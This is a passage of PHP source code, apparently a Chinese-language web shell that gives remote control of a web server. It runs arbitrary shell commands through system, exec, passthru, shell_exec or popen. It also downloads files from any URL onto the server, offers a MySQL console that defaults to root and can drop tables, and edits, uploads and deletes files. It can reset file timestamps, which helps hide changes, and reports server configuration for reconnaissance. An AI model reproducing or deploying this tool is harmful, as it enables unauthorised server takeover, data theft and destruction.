<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
     <td>
        SHELL 命令
       </td>
   </tr>
		<form method=\"post\" action=\"?action=shell\" enctype=\"multipart/form-data\">
		<tr>
		<td align=\"center\" valign=\"top\" bgcolor=\"#EEEEEE\">
			函数:<select name=\"seletefunc\" class=\"input\">
				<option value=\"shell_exec\">shell_exec</option>
				<option value=\"exec\">exec</option>
				<option value=\"system\">system</option>
				<option value=\"passthru\">passthru</option>
				<option value=\"popen\">popen</option>
			</select></tr>
			<tr><td align=\"center\" valign=\"top\" bgcolor=\"#EEEEEE\">
			命令:<input name=\"shellcmd\" type=\"text\" class=\"style1\" value=\"";
                          $return .=isset($shellcmd)?$shellcmd:"";
                          $return .= "
                          \" size=60>
			<span class=\"stylebtext2\">";
                            $return .= @get_cfg_var("safe_mode")?"<br/><font color=ff0000>提示:安全模式下可能无法执行</font>":"";
                            $return .="
                         </span><p>
			<input name=\"shellcmdb\" type=\"submit\" value=\"执行\">&nbsp;&nbsp;
			<input name=\"shellagainb\" type=\"reset\" value=\"重置\">
			<p>
	</td></tr>
	</form>
	</table>
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#ffffff'>
     <td>
<pre>
";
	if(!empty($shellcmd)){
	if($seletefunc=="popen"){
	$pp = @popen($shellcmd, 'r');
	$return1 .=@fread($pp, 2096);
	@pclose($pp);
	} 
	else {
		$return1 .=  ("system"==$seletefunc)?@system($shellcmd):(($seletefunc=="exec")?@exec($shellcmd):(($seletefunc=="shell_exec")?@shell_exec($shellcmd):(($seletefunc=="passthru")?@passthru($shellcmd):@system($shellcmd))));	
	}
     	$return1 = str_replace( ">"            , "&gt;"          , $return1 );
    	$return1 = str_replace( "<"            , "&lt;"          , $return1 );
    	$return .= $return1;
                                 }
    	$return .="</pre>
          	</td>
		</tr>
	</table>
";

        $return .= $this->showfooter();
        return $return;
}


// ---------------------------------------------------------------------
//
// 新增下载函数  
//
// ---------------------------------------------------------------------
function urldownload()
{
	global $r_admin;
	$frompath = $this->input['downfile'];
	$path = $this->input['dir'];
	$fp = @fopen("$frompath", "r");
	$zipfile = @basename($frompath);
        $countext = "";
        while(!@feof($fp))
        {
        	$countext .= @fread($fp, 1);;
        };
	$fp1 = @fopen("$path/$zipfile","w");
	if(@fwrite($fp1,$countext))
        	$return .= "从[$frompath]下载文件存至[$path/$zipfile]成功!";
        	else  $return .= "从[$frompath]下载文件存至[$path/$zipfile]失败!!!";
		@fclose( $fp1 );
        @fclose($fp);

        $this->Redirect("$return","1");
	//return $return;
}




// ---------------------------------------------------------------------
//
//  Mysql
//
// ---------------------------------------------------------------------
function m_mysql()
{
      global $r_admin,$HTTP_COOKIE_VARS;
    //  $shellcmd = $this->input['shellcmd'];
    //  $seletefunc = $this->input['seletefunc'];
        
       $sqlhost = $this->input[sqlhost];
       $sqlport = $this->input[sqlport];
       $sqluser = $this->input[sqluser];
       $sqlpasd = $this->input[sqlpasd];
       $sqldb = $this->input[sqldb];
       $sqlcmdtext = $this->input[sqlcmdtext];
       $sqlcmdb = $this->input[sqlcmdb];
       $u = $this->input[u];
       $p = $this->input[p];
       $tablename = $this->input[tablename];
       $mysql_yes = $this->input[mysql_yes];
       $select_flag = 0;

       $sqlcmdtext = @preg_replace( "/`/"           , "'"  , $sqlcmdtext ); 
       
      if ($u != "" && $p !="" && $this->input[post] != "")
      	{
      		$sqluser = base64_decode($u);
      		$sqlpasd = base64_decode($p);
      		
      	}
        
      if (!isset($sqlhost) or empty($sqlhost)) $sqlhost = "localhost";
      if (!isset($sqlport) or empty($sqlport)) $sqlport = "3306";
      if (!isset($sqluser) or empty($sqluser)) $sqluser = "root";
      if (!Isset($sqlpasd) or empty($sqlpasd)) $sqlpasd = "";
      if (!Isset($sqldb) or empty($sqldb)) $sqldb = "";
    


     
      if ((!isset($sqlcmdtext) || empty($sqlcmdtext)) && $sqldb != "") $sqlcmdtext = "show tables";
      else 
      if ($sqldb == "") $sqlcmdtext = "show databases";
      else 
      if ($sqldb != "" && $sqlcmdtext == "show databases")   $sqlcmdtext = "show tables"; 
      
      if(($sqlcmdtext == "show databases") || ($sqlcmdtext == "show tables")) $select_flag = 0;
      else $select_flag = 1;
      
      $return  = $this->showhead($r_admin[b_name]);
 
      $return .="

  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
     <td>
        Mysql 数据库
       </td>
   </tr>
	<form method=\"post\" action=\"?action=m_mysql\" enctype=\"multipart/form-data\">
		<td align=\"left\" valign=\"top\" bgcolor=\"#EEEEEE\">
			数据库地址*:<input name=\"sqlhost\" type=\"text\" class=\"style1\" value=\"$sqlhost\" size=15>
			端口*:<input name=\"sqlport\" type=\"text\" class=\"style1\" value=\"$sqlport\" size=12>
			<br/>
			登录用户名*:<input name=\"sqluser\" type=\"text\" class=\"style1\" value=\"$sqluser\" size=15>
			密码*:<input name=\"sqlpasd\" type=\"password\" class=\"style1\" value=\"$sqlpasd\" size=12>
			<br/>
			数据库实例 :<input name=\"sqldb\" type=\"text\" class=\"style1\" value=\"$sqldb\" size=15>
			<br/>
			<input name=\"sqlcmdtext\" type=\"text\" class=\"style1\" value=\"$sqlcmdtext\" size=62>&nbsp;&nbsp;
	            	<input name=\"sqlcmdb\" type=\"submit\" value=\"执行\">&nbsp;
			<input name=\"sqlagainb\" type=\"reset\" value=\"重置\">

";
				if(!empty($sqlcmdtext) && $sqlpasd != "" ){
					
					$handle = @mysql_connect("$sqlhost","$sqluser","$sqlpasd") or $this->Redirect("数据库连接失败", $r_admin[url]."?action=m_mysql");
				
					if (!empty($sqlcmdtext) && $sqldb !="" ) {
					@mysql_select_db("$sqldb") or $this->Redirect("数据库连接失败", $r_admin[url]."?action=m_mysql");
			                
			                if ($this->input[post] <= "1" && $select_flag == 0)	
				        $return .=$this->list_tables($sqluser,$sqlpasd,$sqlhost,$sqlport,$sqldb);
					}
				        else if ($this->input[post] != '2' && $select_flag == 0){
				        	$return .=$this->list_dbs($sqluser,$sqlpasd,$sqlhost,$sqlport,$handle);
				        }
				        
				        if ($this->input[post] == '2' && $select_flag == 0) {
				 
				        	$return .=$this->list_data($sqluser,$sqlpasd,$sqlhost,$sqlport,$sqldb,$tablename,"");
				
				        }
				        else if ($this->input[post] =='3' && $select_flag == 0)
				        {
				        	$return .=$this->view_schema($sqluser,$sqlpasd,$sqlhost,$sqlport,$sqldb,$tablename);
				        }
				        else if ($this->input[post] =='4' && $select_flag == 0)
				        {
				        	$return .=$this->drop_table($handle,$sqluser,$sqlpasd,$sqlhost,$sqlport,$sqldb,$tablename,$mysql_yes);
				        }
				        								
					else if ($this->is_select_data($sqlcmdtext)) {
						
						
						
						$res = @mysql_query("$sqlcmdtext");
						$return .=$this->list_data($sqluser,$sqlpasd,$sqlhost,$sqlport,$sqldb,$tablename,$sqlcmdtext);
					}
					else {
						
						$res = @mysql_query("$sqlcmdtext");
					        $err = mysql_error();   
					}
					$return .="<tr bgcolor='#ffffff'>
					<td align='left' nowrap width='100%'>SQL：";
                                        $return .="$sqlcmdtext
                                        ";
					mysql_close();
				}
			$return .="
                        <tr bgcolor='#ffffff'><td>
			<span class=\"stylebtext2\">
";
                        if (isset($sqlcmdb))
                           {
                             if($res)
                                $return .="Success!";
                             else 
                                $return .="<b>Eroor: </b>".$err;
		           }
                        $return .="
                        </span></td></tr>
                       </td>
                      </tr>
		</form>
       </table>  
";

     
        $return .= $this->showfooter();
        return $return;
}





function list_dbs($sqluser,$sqlpasd,$sqlhost,$sqlport,$handle) {
	
	global $r_admin;
  
  $u = urlencode(base64_encode($sqluser));
  $p = urlencode(base64_encode($sqlpasd));
  
  $p_db = mysql_list_dbs( $handle );

  if( $p_db == 0 ) {
    $msg = mysql_error();
    $return = "<h3>Error : $msg</h3><p>\n";
    return;
  }
  $num = mysql_num_rows( $p_db );

  
     $return ="<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
     <tr  bgcolor='#cccccc'>
     <td align='left' nowrap width='80%'><b>数据库名</b></td>
     <td align='center' nowrap width='20%'><b>显示所有表</b></td>
    
     </tr>
";
     
  for( $i = 0; $i < $num; $i++ ) {
    if ($i % 2 == 0) $color = "#eeeeee";
    else $color = "#ffffff";	
    
    $dbname = mysql_dbname( $p_db, $i );
    $return .="
<tr bgcolor='$color'>
<td align='left' nowrap width='70%'>
$dbname
</td>
<td align='center' nowrap width='15%'>
<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$dbname&post=1'>Table</a>
</td>
</tr>
";
   
  }

  $return .="</table>";
  
   return $return;
}





function list_tables($sqluser,$sqlpasd,$sqlhost,$sqlport,$dbname) {
	
	global $r_admin;
  
  $u = urlencode(base64_encode($sqluser));
  $p = urlencode(base64_encode($sqlpasd));
  $p_table = mysql_list_tables( $dbname );

  	if( $p_table == 0 ) {
 	   $msg = mysql_error();
 	   $return = "<h3>Error : $msg</h3><p>\n";
  	  return;
 	 }
 	 $num = mysql_num_rows( $p_table );

    $return ="
   	 <table width='100%' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
   	  <tr bgcolor='#eeeeee'>
  	   <td align='left' nowrap width='100%'>
 	    <a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&post=1'>$sqlhost</a> | $dbname</td>
 	    </tr>
     	</table>
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
    	 <tr  bgcolor='#cccccc'>
   	  <td align='left' nowrap width='70%'><b>表名</b></td>
  	   <td align='center' nowrap width='10%'><b>描述</b></td>
  	   <td align='center' nowrap width='10%'><b>数据</b></td>
  	   <td align='center' nowrap width='10%'><b>删除</b></td>
   	  </tr>
";
     
  for( $i = 0; $i < $num; $i++ ) {
    $tablename = mysql_tablename( $p_table, $i );
    if ($i % 2 == 0) $color = "#eeeeee";
    else $color = "#ffffff";
    $return .="
<tr bgcolor='$color'>
<td align='left' nowrap width='70%'>
$tablename
</td>
<td align='center' nowrap width='10%'>
<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$dbname&tablename=$tablename&post=3'>Describe</a>
</td>
<td align='center' nowrap width='10%'>
<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$dbname&tablename=$tablename&post=2'>Data</a>
</td>
<td align='center' nowrap width='10%'>
<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$dbname&tablename=$tablename&post=4')>Drop</a>
</td>
</tr>
";
   
  }

  $return .="</table>";
  
   return $return;
}



function list_data( $sqluser,$sqlpasd,$sqlhost,$sqlport,$sqldb,$tablename,$querysql ) {
	
	  global  $r_admin,$PHP_SELF;

  $u = urlencode(base64_encode($sqluser));
  $p = urlencode(base64_encode($sqlpasd));
   
  $querysql = stripslashes( $querysql );
  if( $querysql == "" ) {
    $querysql = "select * from $tablename";
    $return ="<table width='100%' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
     <tr bgcolor='#eeeeee'>
     <td align='left' nowrap width='100%'>
     <a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&post=1'>$sqlhost</a> | 
     <a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$sqldb&post=1'>$sqldb</a> | 
     $tablename | 
     <a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$sqldb&tablename=$tablename&post=3'>describe</a>
     </td>
     </table>
     <table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
";
	}
  else 
  {
  	$r_admin[max_long] = 65535;
  	$r_admin[nums] = 100000;
	$return ="
	    <table width='100%' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
";
	}
  $p_result = mysql_query($querysql);
  
  $err = mysql_error();
  if ($err != "") 
  {
  	$return .="
  	<tr bgcolor='#eeeeee'>
  	<td>
  	<b>Error:</b>&nbsp;$err
  	</td>
  	</tr>
  	</table>
  	";
  	return $return;
  }

  $row = mysql_num_rows( $p_result );
  $col = mysql_num_fields( $p_result );
     
     
     $return .="
     <tr bgcolor='#cccccc'>
      ";
      
  for( $i = 0; $i < $col; $i++ ) {
    $field = mysql_fetch_field( $p_result, $i );
    
    $return .="<th>".$field->name."</th>";
    
  }
  $return .= "</tr>
";

  for( $i = 0; $i < $row; $i++ ) {
  	
     if ($i == $r_admin[nums]) break;
     
     if ($i % 2 == 0) $color = "#eeeeee";
     else $color = "#ffffff";
     	
     $return .="<tr bgcolor='$color'>";
     
    $rowArray = mysql_fetch_row( $p_result );
    $key = "";
    for( $j = 0; $j < $col; $j++ ) {
      $data = $rowArray[$j];

      $field = mysql_fetch_field( $p_result, $j );
      if( $field->primary_key == 1 )
        $key .= "&" . $field->name . "=" . $data;

      if( strlen( $data ) > $r_admin[max_long] )
        $data = substr( $data, 0, $r_admin[max_long] ) . "...";
      $data = htmlspecialchars( $data );
      
      $return .="<td>$data</td>";

    }

      $return .="</tr>";
  }
   
   $return .= "</table>";
   if ($i == $r_admin[nums]) $return .="<tr bgcolor='#cccccc'><td>表数据记录数已大于$r_admin[nums]以下省略......</td></tr>";
   if ($i == 0) $return .="<tr bgcolor='#cccccc'><td>表数据记录数为零</td></tr>";
   return $return;
}



function view_schema($sqluser,$sqlpasd,$sqlhost,$sqlport,$dbname,$tablename) {
  global $r_admin;
  $u = urlencode(base64_encode($sqluser));
  $p = urlencode(base64_encode($sqlpasd));
  
    $return ="<table width='100%' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
     <tr bgcolor='#eeeeee'>
     <td align='left' nowrap width='100%'>
	<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&post=1'>$sqlhost</a> | 
	<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$dbname&post=1'>$dbname</a> | 
	$tablename | 
	<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$dbname&tablename=$tablename&post=2'>data</a>
     </td>
     </table>
     <table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
     
";

  $p_result = mysql_db_query( $dbname, "show fields from $tablename" );
  $num = mysql_num_rows( $p_result );

	$return .=" 
	<tr bgcolor='#cccccc'>
	<th>Field</th>
	<th>Type</th>
	<th>Null</th>
	<th>Key</th>
	<th>Default</th>
	<th>Extra</th>
	</tr>
";

  for( $i = 0; $i < $num; $i++ ) {
    $field = mysql_fetch_array( $p_result );
    if ($i % 2 == 0) $color = "#eeeeee";
    else $color = "#ffffff";
    $return .="
	<tr bgcolor='$color'>
	<td>".$field["Field"]."</td>
	<td>".$field["Type"]."</td>
	<td>".$field["Null"]."</td>
	<td>".$field["Key"]."</td>
	<td>".$field["Default"]."</td>
	<td>".$field["Extra"]."</td>
	</tr>
";
    
	}
  
  $return .="</table>";
  
  return $return;
}



function drop_table($handle,$sqluser,$sqlpasd,$sqlhost,$sqlport,$sqldb,$tablename,$mysql_yes) 
{
  global $r_admin;

  
  $u = urlencode(base64_encode($sqluser));
  $p = urlencode(base64_encode($sqlpasd));
  if ($mysql_yes != "yes")
  {
  $return = "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
	<tr align='center' color='#eeeeee'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">你真的确定要删除表\"<b>$tablename</b>\"?</font><br/><br/><br/>
	<a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$sqldb&tablename=$tablename&post=4&mysql_yes=yes'>Yes</a> | <a href='$r_admin[url]?action=m_mysql&u=$u&p=$p&sqlhost=$sqlhost&sqlport=$sqlport&sqldb=$sqldb&post=1'>No</a><br/><br/><br/>
	Delete: <u>$tablename</u>
	</td></tr></table>
";
}
  else {		
  $query = "drop table $tablename";
  @mysql_select_db( $dbname, $handle );
  @mysql_query( $query, $handle);
  $err = mysql_error();
  if ($err != "") 
  {
  $this->Redirect($err,$r_admin[url]."?action=m_mysql");
  }
  else {
  $this->Redirect("删除表".$tablename."成功",$r_admin[url]."?action=m_mysql&u=".$u."&p=".$p."&sqlhost=".$sqlhost."&sqlport=".$sqlport."&sqldb=".$sqldb."&post=1");
	}
}
  return $return;
}



function is_select_data($sqltext) 
{
  global $r_admin;

  	$sqltext = trim(strtolower($sqltext));
  	$sqltext = strtok($sqltext,"from");
  	$info = explode(" ","$sqltext");
	$count = count($info);
 
 	for ($i = 0; $i < $count; $i++) 
 	{
    		if ($info[$i] !="")
    		$newtext .= $info[$i]." "; 	
 		}
 	$new_info = explode(" ","$newtext");
 	$count = count($new_info);
 	if ($new_info[0] == "select") return true;
 	else return false;  
}





// ---------------------------------------------------------------------
//
//  php环境变量
//
// ---------------------------------------------------------------------

function getphpcfg($varname) 
{
	switch($result = get_cfg_var($varname)) 
	{
		case 0:
		return "不支持";
		break;
		case 1:
		return "支持";
		break;
		default:
		return $result;
		break;
	}
}

// 检查函数情况函数
function getfun($funName) 
{
	return (false !== function_exists($funName)) ? "支持" : "不支持";
}




function phpenv()
{
      global $r_admin;
             
    $returnhead  = $this->showhead($r_admin[b_name]);
    echo $returnhead;
    $phpenv = $this->input[action];
       if ($phpenv == "phpenv")
     {
        $adminmail=(isset($_SERVER["SERVER_ADMIN"]))? $_SERVER["SERVER_ADMIN"] : "没有";

	$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传";
	$dis_func = get_cfg_var("disable_functions");
	$phpinfo=(!eregi("phpinfo",$dis_func)) ? "支持" : "不支持";

	$dis_func = get_cfg_var("disable_functions");
	if ($dis_func == "") {
		$dis_func = "没有";
	}else {
		$dis_func = str_replace(" ","<br>",$dis_func);
		$dis_func = str_replace(",","<br>",$dis_func);
	}

	$info[0]  = array("服务器时间",date("Y年m月d日 h:i:s",time()));
	$info[1]  = array("服务器域名","<a href=\"http://$_SERVER[SERVER_NAME]\" target=\"_blank\">$_SERVER[SERVER_NAME]</a>");
	$info[2]  = array("服务器IP地址",gethostbyname($_SERVER["SERVER_NAME"]));
	$info[3]  = array("服务器操作系统",PHP_OS);
	$info[5]  = array("服务器操作系统文字编码",$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
	$info[6]  = array("服务器解译引擎",$_SERVER["SERVER_SOFTWARE"]);
	$info[7]  = array("Web服务端口",$_SERVER["SERVER_PORT"]);
	$info[8]  = array("PHP运行方式",strtoupper(php_sapi_name()));
	$info[9]  = array("PHP版本",PHP_VERSION);
	$info[10] = array("运行于安全模式",$this->getphpcfg("safemode"));
	$info[11] = array("服务器管理员",$adminmail);
	$info[12] = array("本文件路径",__FILE__);
	
	$info[13] = array("允许使用URL打开文件 allow_url_fopen",$this->getphpcfg("allow_url_fopen"));
	$info[14] = array("允许动态加载链接库 enable_dl",$this->getphpcfg("enable_dl"));
	$info[15] = array("显示错误信息 display_errors",$this->getphpcfg("display_errors"));
	$info[16] = array("自动定义全局变量 register_globals",$this->getphpcfg("register_globals"));
	$info[17] = array("magic_quotes_gpc",$this->getphpcfg("magic_quotes_gpc"));
	$info[18] = array("程序最多允许使用内存量 memory_limit",$this->getphpcfg("memory_limit"));
	$info[19] = array("POST最大字节数 post_max_size",$this->getphpcfg("post_max_size"));
	$info[20] = array("允许最大上传文件 upload_max_filesize",$upsize);
	$info[21] = array("程序最长运行时间 max_execution_time",$this->getphpcfg("max_execution_time")."秒");
	$info[22] = array("被禁用的函数 disable_functions",$dis_func);
	$info[23] = array("PHP环境信息 phpinfo()",$phpinfo);
	$info[24] = array("目前磁盘剩余空间 diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb');

	$info[25] = array("图形处理 GD Library",$this->getfun("imageline"));
	$info[26] = array("IMAP电子邮件系统",$this->getfun("imap_close"));
	$info[27] = array("MySQL数据库",$this->getfun("mysql_close"));
	$info[28] = array("SyBase数据库",$this->getfun("sybase_close"));
	$info[29] = array("Oracle数据库",$this->getfun("ora_close"));
	$info[30] = array("Oracle 8 数据库",$this->getfun("OCILogOff"));
	$info[31] = array("PREL相容语法 PCRE",$this->getfun("preg_match"));
	$info[32] = array("PDF文档支持",$this->getfun("pdf_close"));
	$info[33] = array("Postgre SQL数据库",$this->getfun("pg_close"));
	$info[34] = array("SNMP网络管理协议",$this->getfun("snmpget"));
	$info[35] = array("压缩文件支持(Zlib)",$this->getfun("gzclose"));
	$info[36] = array("XML解析",$this->getfun("xml_set_object"));
	$info[37] = array("FTP",$this->getfun("ftp_login"));
	$info[38] = array("ODBC数据库连接",$this->getfun("odbc_close"));
	$info[39] = array("Session支持",$this->getfun("session_start"));
	$info[40] = array("Socket支持",$this->getfun("fsockopen"));
	$return ="
<center>
<table width=600 border=0 align=\"center\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\" class=\"input_basic\">
 ";
        echo $return;
	for($a=0;$a<3;$a++){
		if($a == 0){
			$hp = array("server","服务器特性");
		}elseif($a == 1){
			$hp = array("php","PHP基本特性");
		}elseif($a == 2){
			$hp = array("basic","组件支持状况");
		}
	 $return1 ="
  <tr class=\"input_basic\">
    <td style=\"padding-left: 5px;\" bgcolor=\"#EEEEEE\"><b>$hp[1]</b></td>
  </tr>
  <tr class=\"inpub_basic\">
    <td>
      <table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
";
      echo $return1;
      
		if($a == 0){
			for($i=0;$i<=12;$i++){
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}elseif($a == 1){
			for($i=13;$i<=24;$i++){
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}elseif($a == 2){
			for($i=25;$i<=40;$i++){
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}
    echo "
      </table>
    </td>
  </tr>
";	
	} 
	echo "</table>";

	
        $return4 .= $this->showfooter();
	echo $return4;
	return;
}



}

// ---------------------------------------------------------------------
//
// 删除目录函数 
//
// ---------------------------------------------------------------------

function deltree($TagDir){ 
	$mydir=@opendir($TagDir); 
	while($file=@readdir($mydir)){ 
		//echo $file;
		if((is_dir("$TagDir/$file")) && ($file!=".") && ($file!="..")) { 
			if(!$this->deltree("$TagDir/$file")) return false;
		}else if(!is_dir("$TagDir/$file")){
			@chmod("$TagDir/$file", 0777);
			if(!@unlink("$TagDir/$file")) return false;
		}
	} 
	@closedir($mydir); 
	@chmod("$TagDir", 0777);
	if(!@rmdir($TagDir)) return false;
	return true;
}

// ---------------------------------------------------------------------
//
// 保存文件 
//
// ---------------------------------------------------------------------
function savefile()
{
        global $r_admin;
      

	$editfileb = $this->input['editfileb'];
	$editbackfile = $this->input['editbackfile'];
	$editfilename = $this->input['editfilename']; 
	$editfiletext = $this->input['editfiletext'];
			if(isset($editfileb)&&isset($editfilename)){
				if(isset($editbackfile)&&($editbackfile == 1)) 
				{ 
					if( @copy($editfilename,$editfilename.".bak"))
                                        $return1 .="生成备份文件成功.<p>";
                                        else $return1 .="生成备份文件成功<p>";
					}
				$fd = @fopen($editfilename, "w");
				if($fd == false) $return1 .="打开文件[$editfilename]错误.";
				else{
					if(@fwrite($fd,$editfiletext))
                                         $return1 .="编辑文件[$editfilename]成功!";
                                        else  $return1 .="写入文件文件[$editfilename]错误";
					@fclose( $fd );
					
					
				}
			}
     
        $this->Redirect("$return1", $r_admin[url]."?dir=".urlencode(dirname($editfilename)));
     
}



// ---------------------------------------------------------------------
//
// 上传保存文件 
//
// ---------------------------------------------------------------------
function fileup()
{
        global $r_admin;
        $filedir  = $this->input['filedir'];
        $userfile = $_FILES['userfile'];
        if (@copy($userfile["tmp_name"],"{$filedir}/{$userfile['name']}")) 
	{
	        $upok = true;
	}
	else
	{
                $upok = false;
   	}
      
      
  if($upok==false) 
     { 
        //读取文件内容 
	@$fp=fopen($userfile['tmp_name'],"rb"); 
        @$filecontent=fread($fp,$userfile['size']); 
        @fclose($fp); 
        @$fp2=fopen("$filedir/$userfile[name]","wb"); 
        if(@fwrite($fp2,$filecontent,$userfile['size'])) 
         { 
           $upok=true; 
         } 
        @fclose($fp2); 
      } 

   if ($upok == true) {

     	   $return .="
	  上传文件[{$userfile[name]}]成功.位置:[{$filedir}/{$userfile[name]}]共({$userfile[size]})字节.
	  ";
   }
   if ($upok == false) {
     
   	   $return .="
          上传文件[{$userfile[name]}]到[{$filedir}/{$userfile[name]}]失败. 
	  ";

   }
      
       $this->Redirect("$return", $r_admin[url]."?dir=".urlencode($filedir));
}





// ---------------------------------------------------------------------
//
// 得到真实路径
//
// ---------------------------------------------------------------------

function gettruepath($path){
    return str_replace("\\","/",@realpath($path));
}





// ---------------------------------------------------------------------
//
// 显示
//
// ---------------------------------------------------------------------

function indexshow()
{
    global $r_admin, $sd;
   
//    $this->start_sh();
 
    $deldir = $this->input['deldir'];
    $delyes = $this->input['delyes'];
    $delfile = $this->input['delfile'];
    $ttime = $this->input['ttime'];
    $r_admin[gotodir] = $this->input['gotodir'];
    
    
 
    $this->start_sh();
    
if ($this->input["action"] == "logout")
{
        $r_admin[pass] = "0";
	@session_destroy();
	@$sd->my_setcookie(my_pass,0,time()-1);
	$this->Redirect("注销成功, 返回到首页",$r_admin[url]);

}

if (isset($ttime) && $ttime !="")
{
   $tfile = $this->input[tfile];	
   if($tfile != "")
    {
    	    	
	@touch($tfile,$ttime) or $this->Redirect("重新修改时间失败",$r_admin[url]."?dir=".urlencode(dirname($tfile)));
	$this->Redirect("重新修改时间成功",$r_admin[url]."?dir=".urlencode(dirname($tfile)));

	}	
}
    if(isset($r_admin[gotodir])) if($r_admin[gotodir] != "") 
             
     { 
     	$r_admin[nowpath]=$r_admin[gotodir];
     	if(@strstr($r_admin[gotodir],$r_admin[rootdir])) 
     	{
     		$r_admin[gotodir] = @str_replace("$r_admin[rootdir]","",$r_admin[gotodir]);
     	 	$r_admin[f_flag] = "0";
     	 
     	}
          
        else {$r_admin[nowpath] =$r_admin[gotodir]; $r_admin[f_flag] = "1";} 
     }
    
    if(isset($deldir) && $delyes =="yes" ) 
	{
	  $deldir=str_replace("//","/",$deldir);	
         $out = file_exists($deldir)?($this->deltree($deldir)?"删除目录[$deldir]成功!":"删除目录[$deldir]失败!"):"目录[$deldir]不存在!!";

         $this->Redirect("$out", $r_admin[url]."?dir=".urlencode(dirname($deldir)));
    			}
    else if(isset($delfile) && $delyes =="yes") {
    	
    	$delfile=str_replace("//","/",$delfile);
        @chmod("$delfile", 0777);
	$out = file_exists($delfile)?(@unlink($delfile)?"删除文件[$delfile]成功!":"删除文件[$delfile]失败!"):"文件[$delfile]不存在!";
			
           
       $this->Redirect("$out", $r_admin[url]."?dir=".urlencode(dirname($delfile)));
       }    

        $action = $this->input['action'];
        $mkdirb = $this->input['mkdirb'];      
        $mkfileb = $this->input['mkfileb'];      

		 if($action == "createfile"){
		 	
			if(isset($mkdirb)){
				
				 $dirb = "$r_admin[nowpath]/$mkdirb";
				 $dirb=str_replace("//","/",$dirb);
				 $out = file_exists("$dirb")?"[$dirb]该目录已存在":(@mkdir("$dirb",0777)?"目录[$dirb]创建成功":"目录[$dirb]创建失败");
			
                     $this->Redirect("$out", $r_admin[url]."?dir=".urlencode($r_admin[nowpath]));
                            }
                      else if(isset($mkfileb)){
                      	 	$fileb = "$r_admin[nowpath]/$mkfileb";
				 $fileb = str_replace("//","/",$fileb);
				if(file_exists("$fileb")) $out = "[$fileb]该文件已存在";
				else{
					$fd = @fopen("$fileb", "w");
					if($fd == false) $out ="建立文件[$fileb]错误.";
					else{
						$out = "建立文件[$fileb]成功 <a href=\"?action=editfile&dir=".urlencode($fileb)."\"><p>点此跳转入编辑浏览页面</a>";
						@fclose( $fd );
					}
				}
                     
                     $this->Redirect("$out", $r_admin[url]."?dir=".urlencode($r_admin[nowpath]));
		}
            }


    $return .="

  <br>
<table width=600 border=0 cellpadding=0 align='center'>
  <tr>  	
  	<td><p><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">
  	";
  	if ($r_admin[os] == "unix") {
  		$a = @exec('uname -a');
  	}
  	else {$a = @exec('ver');}	
  		$return .="当前系统: <b>$a</b><br/>
  	";
  	$r_admin[nowpath_attr] = substr(base_convert(@fileperms($r_admin[nowpath]),10,8),-4);
  	$return .="
  	WEB路径: <b>$r_admin[pathname]</b><br/>当前目录($r_admin[nowpath_attr]): <b>$r_admin[nowpath]</b>
    </font>
    </td>
  </tr>
</table>

<table width=600 border=0 cellpadding=0 class='input_basic' align='center'>
 <form action='' method='GET'>
  <tr>  	
  	<td>
        输入要跳转到的目录:
        <input name='gotodir' type='text' class='INPUT'>
        <input type='submit' class='INPUT' value='跳转'> 〖支持绝对路径和相对路径〗
